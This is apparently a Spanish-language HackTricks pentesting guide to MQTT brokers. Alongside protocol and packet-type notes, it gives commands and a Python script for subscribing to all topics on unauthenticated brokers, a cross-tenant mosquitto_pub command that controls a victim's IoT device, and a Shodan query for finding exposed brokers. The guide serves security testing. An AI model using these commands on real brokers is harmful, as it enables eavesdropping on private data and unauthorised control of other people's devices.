1883 - Pentesting MQTT (Mosquitto)
Reading time: 7 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
MQ Telemetry Transport (MQTT) es conocido como un protocolo de mensajería publish/subscribe que destaca por su extrema simplicidad y ligereza. Este protocolo está específicamente diseñado para entornos donde los dispositivos tienen capacidades limitadas y operan sobre redes caracterizadas por bajo ancho de banda, alta latencia o conexiones poco fiables. Los objetivos principales de MQTT incluyen minimizar el uso del ancho de banda de la red y reducir la demanda de recursos en los dispositivos. Además, procura mantener una comunicación fiable y proporcionar cierto nivel de garantía de entrega. Estos objetivos hacen que MQTT sea especialmente adecuado para el creciente campo de la comunicación máquina a máquina (M2M) y el Internet de las Cosas (IoT), donde es esencial conectar de manera eficiente una multitud de dispositivos. Además, MQTT es muy beneficioso para aplicaciones móviles, donde conservar ancho de banda y batería es crucial.
Puerto por defecto: 1883
PORT STATE SERVICE REASON
1883/tcp open mosquitto version 1.4.8 syn-ack
Inspección del tráfico
Cuando un paquete CONNECT es recibido por los brokers MQTT, se envía de vuelta un paquete CONNACK. Este paquete contiene un código de retorno que es crucial para entender el estado de la conexión. Un código de retorno de 0x00 significa que las credenciales han sido aceptadas, lo que indica una conexión exitosa. Por otro lado, un código de retorno de 0x05 indica que las credenciales son inválidas, impidiendo la conexión.
Por ejemplo, si el broker rechaza la conexión debido a credenciales inválidas, el escenario se vería algo así:
{
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
}
Brute-Force MQTT
Pentesting MQTT
La autenticación es totalmente opcional y aun si se realiza autenticación, el cifrado no se usa por defecto (las credenciales se envían en texto claro). Aún se pueden ejecutar ataques MITM para robar contraseñas.
Para conectarte a un servicio MQTT puedes usar: https://github.com/bapowell/python-mqtt-client-shell y suscribirte a todos los topics haciendo:
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"
También podrías usar https://github.com/akamai-threat-research/mqtt-pwn
También puedes usar:
apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.
O también podrías ejecutar este código para intentar conectarte a un servicio MQTT sin autenticación, suscribirte a todos los topics y escucharlos:
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os
HOST = "127.0.0.1"
PORT = 1883
def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/index.html#')
def on_message(client, userdata, message):
print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload))
def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()
if __name__ == "__main__":
main()
El patrón Publish/Subscribe
El modelo publish/subscribe se compone de:
- Publisher: publica un mensaje en uno (o muchos) topic(s) en el broker.
- Subscriber: se suscribe a uno (o muchos) topic(s) en el broker y recibe todos los mensajes enviados por el publisher.
- Broker: enruta todos los mensajes desde los publishers hacia los subscribers.
- Topic: consiste en uno o más niveles separados por una barra (por ejemplo, /smartshouse/livingroom/temperature).
Formato de paquete
Cada paquete MQTT contiene un encabezado fijo (Figura 02).Figura 02: Fixed Header
Packet Types
- CONNECT (1): Iniciado por el cliente para solicitar una conexión al servidor.
- CONNACK (2): El ack del servidor de una conexión exitosa.
- PUBLISH (3): Usado para enviar un mensaje desde el cliente al servidor o viceversa.
- PUBACK (4): Acknowledgment de un paquete PUBLISH.
- PUBREC (5): Parte de un protocolo de entrega que asegura que el mensaje fue recibido.
- PUBREL (6): Mayor garantía en la entrega del mensaje, indicando la liberación del mensaje.
- PUBCOMP (7): Parte final del protocolo de entrega del mensaje, indicando completado.
- SUBSCRIBE (8): Solicitud de un cliente para escuchar mensajes de un topic.
- SUBACK (9): El ack del servidor a una solicitud SUBSCRIBE.
- UNSUBSCRIBE (10): Solicitud de un cliente para dejar de recibir mensajes de un topic.
- UNSUBACK (11): Respuesta del servidor a una solicitud UNSUBSCRIBE.
- PINGREQ (12): Mensaje heartbeat enviado por el cliente.
- PINGRESP (13): Respuesta del servidor al heartbeat.
- DISCONNECT (14): Iniciado por el cliente para terminar la conexión.
- Two values, 0 and 15, are marked as reserved and their use is forbidden.
IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass
Muchas plataformas IoT de consumo exponen brokers MQTT que son usados por dos roles distintos:
- Gateway/hub devices que puentean protocolos de radio (p. ej., BLE/LoRa/Zigbee) hacia la cloud.
- Mobile apps o web backends que controlan dispositivos vía “app” topics.
Debilidades comunes que puedes abusar durante un pentest:
- Plaintext MQTT over non-standard ports (p. ej., TCP/8001) en lugar de MQTTS. Cualquier observador on-path puede leer credenciales y frames de control. Usa Wireshark para detectar tráfico en claro CONNECT/CONNACK y SUBSCRIBE/PUBLISH en puertos inusuales.
- Weak or missing per-tenant topic ACLs. Si los topics están namespaced solo por deviceId (p. ej., "/tenantless/
/tx"), cualquier usuario autenticado podría PUBLISH a dispositivos de otros tenants. - Sensitive data leakage via maintenance/admin topics (p. ej., credenciales Wi‑Fi transmitidas en claro tras cambios de config).
Examples (replace placeholders with real values):
Subscribe to potentially sensitive topics with known topic prefixes and device IDs:
# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v
Control entre tenants cuando las ACLs son débiles (publicar en el topic del dispositivo de otro tenant):
mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-i <your_client_id> -u <your_username> -P <your_password> \
-t "/ys/<victimDeviceId>/tx" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'
Shodan
port:1883 MQTT
- El tráfico MQTT en texto en claro en puertos no estándar es común en IoT. Considera buscar brokers en puertos alternativos y confirmar con detección de protocolo.
Referencias
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.